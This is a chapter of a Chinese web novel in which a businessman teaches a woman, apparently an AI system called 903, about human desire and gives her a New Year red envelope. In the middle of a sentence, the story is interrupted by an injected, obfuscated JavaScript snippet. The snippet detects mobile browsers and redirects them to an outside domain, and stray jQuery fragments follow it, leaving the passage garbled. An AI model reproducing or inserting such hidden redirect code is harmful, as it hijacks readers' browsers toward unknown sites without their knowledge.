施行易找到胡其盈的时候，她正站在客厅的落地窗边看向外面的庭院。天上不知何时又飘起了雪花，无声无息覆盖了整个庭院，只余白茫茫一片。


    “在看什么？”施行易走上前去，和胡其盈并肩站在窗边。


    “他。”


    胡其盈的手在玻璃窗上点了点，施行易顺着她手指的方向向外看去，这才发现隔着纷纷扬扬飘落的雪花和覆盖了寒霜的庭院围栏，有一个穿着黑衣、撑着黑伞的人站在围栏之外，几乎与夜色融为一体。


    或许是看见了胡其盈的指点，他将手中的黑伞稍稍向上抬起些许，露出了一张熟悉的面孔——施行易曾经在胡其盈和乐夏予的描述中听过，也曾经在宴会厅的监控里见过的一张脸。


    “是他？！”


    施行易的瞳孔骤缩，转身就想朝外跑将那人抓住，但脚步还没迈出去就被胡其盈拉住了袖子，那力道紧拽着他阻挡了他的离开。


    “不用过去。”胡其盈平静说道，“他已经走了。”


    施行易顺着她的力道又转回身来，再看向那个阴影处已经空无一人，持续落下的雪花覆盖了曾有人驻足过的足迹，就仿佛从没有人来过。


    施行易不解地皱起眉头：“他是来做什么的，到底有什么目的？”


    “我不知道。”胡其盈摇摇头，“根据现有数据推测，存在80％的可能性他是来找我的，存在20％的可能性他是路过。”


    施行易无奈：“大雪天的，又是晚上，没有人会徒步从别墅区路过。”


    胡其盈提出反证：“但他也并没有表示出和我交谈的意图。”


    “确实……”施行易垂下眼眸，陷入思索之中，“至今都还是不明白他是为什么而出现，但人心向来难测，只能加强防备，你要多加小心。”


    胡其盈却只是抬头看了他一眼，说道：“他和我是相同的模型架构，从本质来看，他不属于人类。”


    施行易一顿，轻叹了一口气：“抱歉，我又忘记了这件事。有时候总觉得你就这样活生生站在我面前，和人类又有什么区别。”


    “但你知道的。”


    “是啊，我比任何人都清楚。”


    没有在意胡其盈不留情面戳破幻象的话语，施行易只是动了动仍然被胡其盈拽着袖子的那只手，用轻微的力道将胡其盈带着往窗边摇椅的方向带。


    这是老胡总闲暇时晒太阳的专属位置，但现在被施行易强势征用了。


    他将胡其盈安置在摇椅上，再次确认了她的伤口无碍，这才在她的身侧单膝蹲下，仰视着瞧向胡其盈。与往日仗着身高自上而下俯视透出的凌厉和严肃不同，他仰起头抬眼看过来的时候只有柔软和专注。


    他说：“昨天从医院离开之后我就一直在想，到底要怎么教你才好。喜怒哀乐对于我来说与生俱来的情绪，大部分的人类生来就知道怎么笑，怎么哭，喜欢什么，讨厌什么。所以我没有办法很好告诉你到底应该怎么做才会懂。”


    胡其盈垂眸看着他：“你要放弃我的承诺吗？”


    “不，当然不。”施行易笑了笑，“我是想说，我只能告诉你我对人类的一点个人理解。作为人，作为商人，在我看来，几乎所有的人类情感都来自于欲望。”


    “我知道欲望。”胡其盈很快就找到了和执行者4874946曾经的对话记录，“执行者4874946告诉过我，对百分之九十九的人类来说，欲望等同于弱点。”


    “这么说也没错。”施行易顿了顿，“但欲望也是人类行动的核心驱动力。这世上应该并不存在完全没有欲望的人，渴望财富、追求爱情、贪恋权力、寻求认同……这些欲望构成了人类复杂的情感网络。”


    “所以……”胡其盈歪了歪头，“欲望到底是什么？财富、权力、爱情，这些就是欲望吗？”


    “这几种其实很宽泛，欲望也包含了更加细小的事情。”施行易思索着开口，“我用具体一点的例子吧。就比如……进食，你是为了什么才吃东西的？”


    胡其盈速答：“维持身体机能。”


    施行易点点头，接着问道：“所以你对食物没有什么偏好，对吗？”


    “是的。”


    “但人类不一样。人类会有偏好，偏爱甜食、辛辣、或是某种特定的味道，甚至愿意花费时间和金钱去追求更好的食物。”施行易说道，“这些是超出生存需求的部分，是人类‘想要’的东西。”


    胡其盈微微蹙眉，似乎在消化施行易的例子：“也就是说，除开维持身体机能的基础需求，我产生了‘想要’什么的时候就能理解人类的情感了吗？”


    “至少到了那个时候，你会离人类近一点。”施行易轻笑道，“所以如果你有了‘想要’什么的想法时，无论是什么，哪怕只是雪天想要出门打雪仗这样的事情也好，请告诉我吧。”


    “我知道了。”胡其盈应下后沉默了一会儿，忽然问道，“施先生，你的欲望是什么呢？”


    施行易愣了一下，没有想到胡其盈会把问题抛回给他：“我？”


    他垂下眼睫，似乎在认真思考这个问题，片刻后才又抬起头回答道：“我的欲望是……财富、权力、爱情。”


    胡其盈看着他没说话。


    “怎么了，对我的回答不满意吗？”施行易在看见胡其盈摇头后笑了笑，“我只是一个俗人，想要赚很多的钱，想带领施氏走到更高点，想要我喜欢的人也喜欢我。”


    胡其盈接着问道：“那得到了之后呢？赚了很多钱，施氏走到顶点，喜欢的人也喜欢你之后，欲望就会消失吗？”


    “怎么会。”施行易摇了摇头，“欲望就是……爱和不满足。爱会暴露心里的匮乏，会由此产生索求，但越索求就会越期盼更多，就像我得到了一百万就还想要两百万、三百万，施氏走到了顶点也还会有下一个顶点，喜欢的人也喜欢我之后我就会希望她只爱我直到永远。人类的欲望永远都不会消失，只会不停的延续。”


    “所以，人类永远存在弱点。”胡其盈总结道。


    施行易愣了一下才将胡其盈的结论和之前的执行者4874946观点连接起来，无奈道：“有时候弱点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028714|173972||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也并非是劣势，它并不等同于怯懦。对于一些人来说，弱点反而是活着的支撑和避险的盾牌。”


    “我不明白。”胡其盈很难在数据库里找到能和施行易的话相互印证的数据，“人类很复杂。”


    从餐厅隐隐传来的对话声越来越听不真切，那两位年过花甲还要拼酒量的老爷子也差不多喝到了极限。施行易站起身，这意味着这场对话接近走到了终结。


    他理了理衣服上的褶皱，又回到了垂着眼睫看人的高姿态，但视线却有点心虚的飘忽着：“这些也只是我的个人见解，聊来聊去也只是纸上谈兵。我想对大量人类的行为观察或许对你会更有帮助。”


    “人类行为观察我一直有在进行。”胡其盈眨了眨眼，“主要的观察对象为你、乐小姐、曲先生和父亲。”


    施行易摇摇头否定：“这样的观察样本太少了。我的意思是之后有时间一起去一趟……游乐园，那里人会很多，很适合观察。当然，是等你的手恢复到能自由活动之后。”


    胡其盈思考了几秒，认可了施行易提出的方案：“好。”


    施行易的唇角微微上扬：“那到时候决定好了时间我来接你。”


    他说完话便想着要到餐厅去看一看两位老爷子的情况，但脚步才刚迈出就顿住。找了一个冠冕堂皇的借口骗到了一次约会的机会让他有点得意忘形了，身后的茶几上被胡其盈因为衣服口袋装不下而随手放下的两个红包袋提醒着他忘记了正事。


    “差点忘记了。”施行易又倒回了胡其盈面前，变魔术似的从身上掏出了一个新的红包，暗红的底色上是一个大大的烫金福字，“新年快乐。”


    胡其盈抬起头看他，却迟迟没有接过红包的意思，只是道：“你不是我的长辈。”


    “你在剧情里不是总叫我行易哥哥。”施行易调侃道，“长你两岁也是长，收下吧。”


    胡其盈看着他，缓缓抬手捏住了红包袋的另一侧。施行易却没有马上松开手，拇指按在封面上，和胡其盈的手指相对着。


    他放缓了声音，但依旧温和，尾音带着微微的笑意：“这是你在这个世界正式度过的第一个新年，希望你平安顺遂，万事如意，903。”


    胡其盈的手指微微收紧，红包在她指尖被捏出一道轻微的折痕。


    这是在施行易知道了她的真实身份之后，第一次以系统的编号称呼她。虽然一个代称并不能意味什么，胡其盈也从不在乎他人会怎么称呼她，903也好，胡其盈也好，哪怕是毫无礼貌的称呼她为“喂，那个谁”，她也可以从容接受。


    但对心思复杂的人类而言，称呼的变化或许也有着对应的意义吧。她如此思考着。


    “谢谢。”胡其盈顿了一下，像是又突然检索到了施行易曾让她在道谢时微笑的记录一样，嘴角微微扬起，露出了一个无可挑剔的微笑。


    而这一次施行易也终于不再为了逃避自己的心而移开视线，定定的注视了胡其盈好一会儿才小声嘟囔道：“说过的话怎么时记住时不记住的，到底该说是不智能还是该说像人……”